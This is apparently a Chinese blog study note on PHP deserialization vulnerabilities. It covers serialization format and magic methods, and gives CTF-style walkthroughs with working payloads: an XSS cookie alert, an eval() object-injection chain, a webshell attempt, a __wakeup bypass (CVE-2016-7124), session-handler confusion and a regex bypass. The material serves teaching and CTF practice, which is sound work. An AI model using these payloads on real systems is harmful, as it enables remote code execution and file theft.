PHP序列化及反序列化分析學習小結
- 2020 年 4 月 6 日
- 筆記
PHP反序列化
最近又遇到php反序列化,就順便來做個總結。
0x01 PHP序列化和反序列化
php序列化:php對象 序列化的最主要的用處就是在傳遞和保存對象的時候,保證對象的完整性和可傳遞性。序列化是把對象轉換成有序位元組流,以便在網路上傳輸或者保存在本地文件中。序列化後的位元組流保存了php對象的狀態以及相關的描述資訊。序列化機制的核心作用就是對象狀態的保存與重建。
php反序列化:php客戶端從文件中或網路上獲得序列化後的對象位元組流後,根據位元組流中所保存的對象狀態及描述資訊,通過反序列化重建對象。
簡單來說,序列化就是把實體對象狀態按照一定的格式寫入到有序位元組流,當要用到時就通過反序列化來從建對象,恢復對象狀態,這樣就可以很方便的存取數據和傳輸數據。
序列化例子:
<?php class test{ public $name = 'lu'; private $name2 = 'lu'; protected $name3 = 'lu'; } $test1 = new test(); $object = serialize($test1); print_r($object); ?> 最後輸出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}
注意:序列化對象時,不會保存常量的值。對於父類中的變數,則會保留。
序列化只序列化屬性,不序列化方法。
簡單介紹下具體含義

但是我們注意到上面的例子序列化的結果有些不對。那是因為序列化public private protect參數會產生不同結果,test類定義了三個不同類型(私有,公有,保護)但是值相同的字元串但是序列化輸出的值不相同。
通過對網頁抓取輸出是這樣的
`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"0test0name2";s:2:"lu";s:8:"*0*0name3";s:2:"lu";} public的參數變成 name private的參數被反序列化後變成 0name0name2 protected的參數變成 0*0name3
反序列化試例:
?php class lushun{ var $test = '123'; } $class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}'; print_r($class2); echo "</br>"; //我們在這裡用 unserialize() 還原已經序列化的對象 $class2_un= unserialize($class2); //此時的 $class2_un 已經是前面的test類的實例了 print_r($class2_unser); echo "</br>"; ?> 
一般反序列化後必須要在當前作用域有對應的類(因為不會序列化方法),實例才能正確使用,所以再進行反序列化攻擊的時候就是依託類屬性進行,找到我們能控制的屬性變數,在依託它的類方法進行攻擊。將上面定義的lushun類刪除之後。結果

提示不完整的類
unserialize():將經過序列化的字元串轉換回PHP值
0x02 PHP序列化漏洞是怎麼產生的
要了解在序列化和反序列化之間的漏洞,我們先要了解PHP裡面的魔術方法,魔術方法一般是以__開頭,通常都設置了某些特定條件來觸發。這裡先提一下有個印象。
PHP的魔法函數
__wakeup, unserialize() 執行前調用 __destruct, 對銷毀的時候調用 __toString, 類被當成字元串時的回應方法 __construct(),當對象創建(new)時會自動調用,注意在unserialize()時並不會自動調用 __sleep(),serialize()時會先被調用 __call(),在對象中調用一個不可訪問方法時調用 __callStatic(),用靜態方式中調用一個不可訪問方法時調用 __get(),獲得一個類的成員變數時調用 __set(),設置一個類的成員變數時調用 __isset(),當對不可訪問屬性調用isset()或empty()時調用 __unset(),當對不可訪問屬性調用unset()時被調用。 __wakeup(),執行unserialize()時,先會調用這個函數 __toString(),類被當成字元串時的回應方法 __invoke(),調用函數的方式調用一個對象時的回應方法 __set_state(),調用var_export()導出類時,此靜態方法會被調用。 __clone(),當對象複製完成時調用 __autoload(),嘗試載入未定義的類 __debugInfo(),列印所需調試資訊 那麼漏洞出現在哪呢。
序列化本身沒有問題,問題還是那個經典的老大難:用戶輸入,我們可以控制序列化和反序列化的參數,就可以篡改對象的屬性來達到攻擊目的。為了達到我們想實現的目的,就必須對序列化和反序列化過程進行詳盡的了解,利用或者繞過某些魔法函數。
來一個例子
<?php class test{ public $target = 'this is a test'; function __destruct(){ echo $this->target; } } $a = $_GET['test']; $c = unserialize($a); ?> 我們構造一個反序列化來修改$target的內容,就可以製造一個xss彈窗,既然我們可以控制$a的輸入
<?php class test{ public $target = '<script>alert(document.cookie);</script>'; } $a = new test(); $a = serialize($a); echo $a; ?> 
0x03 魔法函數的觸發順序
我們重點關注以下幾個魔法函數
這裡我們著重關注一下幾個:
- 構造函數
__construct():當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。 - 析構函數_
_destruct():當對象被銷毀時會自動調用。 __wakeup():如前所提,unserialize()時會自動調用。__toString()當一個對象被當作一個字元串使用
*__sleep()在對象在被序列化之前運行,用於清理對象,並返回一個包含對象中所有變數名稱的數組。如果該方法不返回任何內容,則NULL被序列化,導致一個E_NOTICE錯誤。
測試程式碼
<?php class lushun{ public $test = '123'; function __wakeup(){ echo "__wakeup"; echo "</br>"; } function __sleep(){ echo "__sleep"; echo "</br>"; return array('test'); } function __toString(){ return "__toString"."</br>"; } function __conStruct(){ echo "__construct"; echo "</br>"; } function __destruct(){ echo "__destruct"; echo "</br>"; } } $lushun_1 = new lushun(); $data = serialize($lushun_1); $lushun_2 = unserialize($data); print($lushun_2); print($data."</br>"); ?> 輸出結果:

可以看到__destruct函數執行了兩次,說明有兩個對象被銷毀,一個是實例化的對象,還有一個是反序列化後生成的對象。
0x04 魔法方法的攻擊
先來看個例子
<?php class One { private $test; function __construct() { $this->test = new Bad(); } function __destruct() { $this->test->action(); } } class Bad { function action() { echo "1234"; } } class Good { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']); 可以看到需要我們傳入一個序列化後的字元串作為參數,然後看定義了三個類第一個One類里有兩個魔法函數,一個構造函數一個析構函數,構造函數把One類的test屬性變成Bad類的實例,析構函數就執行action()方法,但是到現在還是沒發現什麼有價值的東西,再往下看Good類里有eval函數,這個函數很危險能夠執行php命令,知道了這些想想怎麼能利用上,如果我們能將構造函數的test屬性從Bad類轉到Good類,再給Good類的test變數定義一個可以執行的值,是不是就可以用上了呢。看一下實現程式碼。
<?php class One { private $test; function __construct() { $this->test = new Good(); } } class Good { var $test2="phpinfo();"; } $A = new One; print(serialize($A)); 
這裡可能你也有個疑問,php序列化的時候是不會序列化方法的,但是這裡序列化之後還是帶著構造方法所引用的對象資訊,我將構造方法刪除之後,在執行了一次,是這樣的。

發現構造函數還是影響了序列化的操作,這裡著實困擾了我一陣,後來發現是我傻了,在序列化之前已經先new了一個對象構造函數已經先執行了,已經將test的屬性改為Good類的對象了,所以序列化時自然會帶上Good類。
接下來就可以用生成的序列化結果複製出來,像之前的程式碼發起請求
192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}
注意:test是private類型,記得加上%00xx%00,我們在傳輸過程中絕對不能忘掉.

這裡我還嘗試了一下把$test2的值換成一句話馬

然後構造url用菜刀連接
http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:"Onetest";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}
結果報錯了

下次再研究一下為什麼。
到了這裡大致總結一下發現利用php反序列化漏洞的幾個點。
(1)檢查我們是否能控制unserialize()函數的參數。
(2)重點查看序列化對象里的魔法函數的作用,看看可控制的屬性有沒有能對其產生影響的。
(3)該類在執行序列化之前做了哪些動作,或者操作。
(4)最後選擇好要控制的屬性之後,將相關的類程式碼複製下來生成反序列結果。
0x05 反序列化漏洞例題
1.bugku平台 flag.php
http://123.206.87.240:8002/flagphp/?hint
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else {?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link rel="stylesheet" href="admin.css" type="text/css"></head><body><br><div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?> 程式碼審計看到首先將請求頭cooke值里ISecer的鍵值保存到$Cookie里,再判斷$Key的值是否與反序列化後的$Cookie值相同,注意在這裡$Key的數值是沒有定義的,最後那個定義是在後面了沒起作用。
所以我們只需要將cookie的值改為$Key序列化後的值就行。程式碼如下。
<?php $key = ""; $aaa = serialize($key); print ($aaa) ?> 輸出:s:0:""; 再把cookie改為ISecer:s=0:"";即可,注意要是用瀏覽器插件修改cookie的話要把;改為%3B
2.反序列化繞過__wakeup
<?php class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this->file='index.php'; } public function __toString(){ return '' ; } } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?> #<!--key in flag.php--> 程式碼意思就是將提交的file參數base64解碼後再反序列化,我們看到析構函數可以顯示不同文件的源碼,但是__wakeup函數已經鎖定了file為index.php所以現在就是考慮繞過__wakeup函數,實際上是一個CVE漏洞,CVE-2016-7124。當成員屬性數目大於實際數目時會跳過__wakeup的執行。網上已經有很多講解了,我們只需要知道成員數目大於實際數目這個利用的點就行了
構造exp
<?php class SoFun{ protected $file = 'flag.php'; } $aa = new SoFun(); $aaa = serialize($aa); file_put_contents('qq.txt',$aaa); ?> O:5:"SoFun":1:{s:7:"/00*/00file";s:8:"flag.php";}有protected屬性成員記得加上/00,再把1改為2或者更大的數,再base64編碼一下就行了,但我在操作中發現如果括弧里第一個s為小寫,base64編碼後不會顯示flag.php源碼.

誒這又是為什麼,我思來想去,最後發現是protected屬性的問題,我將源碼的protected改為var後,無論s大寫小寫都可以正常顯示flag.php源碼,我再次試驗後發現private屬性也是一樣的有這個問題。算是個坑吧剛好記錄一下。
session反序列化
看看這個
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
PHP中的會話中的內容並不是放在記憶體中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是會議的值序列化之後的內容。
session.serialize_handler是用來設置會話序列的化引擎的,除了默認的PHP引擎之外,還存在其他引擎,不同的引擎所對應的會話的存儲方式不相同。
php session有三種序列化和反序列化處理器
| 處理器 | 對應的存儲格式 |
|---|---|
| php_binary | 鍵名的長度對應的ASCII字元+鍵名+經過的serialize()函數序列化處理的值 |
| php | 鍵名+豎線+經過的serialize()函數序列處理的值 |
| php_serialize(php>5.5.4) | 經過serialize()函數處理過的值,會將鍵名和值當作一個數組序列化 |
在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加程式碼ini_set('session.serialize_handler', '需要設置的處理器');
session使用相同的序列化和反序列化處理器進行存儲工作時是正常的,但如果php session序列化和反序列化時使用的處理器不同會導致無法正常反序列化,通過特殊的構造甚至可以偽造任意數據。
比如默認是php的handler,在該頁面設置為php_serialize這是如果我們傳入一個 '|O:5:"Class"';,這樣的一個數據,在儲存時就會加上鍵名進行序列化,但是進行讀取的時候還是會按照php handler來處理,以|作為鍵和值的分隔符,將前半部分當作鍵,後半部分當作值,然後進行反序列化。
在默認的php處理器下儲存為
<?php session_start(); $_SESSION['sex'] = 'man'; 儲存的值為: sex|s:3:"man"; 在php_serialize處理器下:
注意:使用php_serialize php版本必須在5.5.4以上不然沒有這個方法報錯。
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['sex'] = 'man'; 儲存的值為: a:1:{s:3:"sex";s:3:"man";} 實際利用
so.php
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["sex"]=$_GET["m"]; soo.php
<?php ini_set('session.serialize_handler', 'php'); session_start(); class Sex{ var $hi; function __construct(){ $this->hi = "system('whoami');"; } function __destruct() { eval($this->hi); } } 在so.php構造
127.0.0.1/2016/so.php?a=Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}

然後訪問soo.php

為什麼會這樣呢,因為開始訪問so.php時,腳本會按照php_serialize處理器的方法序列化存儲數據,會將Sex當做鍵名,a的參數當做鍵值當成一個數組序列化存儲起來,變成這樣
a:1:{s:3:"sex";s:45:"Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}";}然後訪問soo.php時是用php處理器讀取數據,會以|為分界線,前半部分作為鍵名後半部分作為值將後半部分反序列化,會得到Sec類。
反序列化繞過正則
一道簡單ctf
<?php @error_reporting(1); include 'flag.php'; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./index.php"); } ?> unserialize 一眼就看到了是反序列化題目,一個__toString方法允許讀取任意文件。
所以構造反序列化,但是還有個正則攔路虎
preg_match('/[oc]:d+:/i',$data,$matches)篩掉了[oc]:數字:
所以如果正常構造序列化字元串
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}前面的O:4就被攔下,所以我們在4後面加上個+構造payload:
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
記得編碼一下,不然+會變成空格


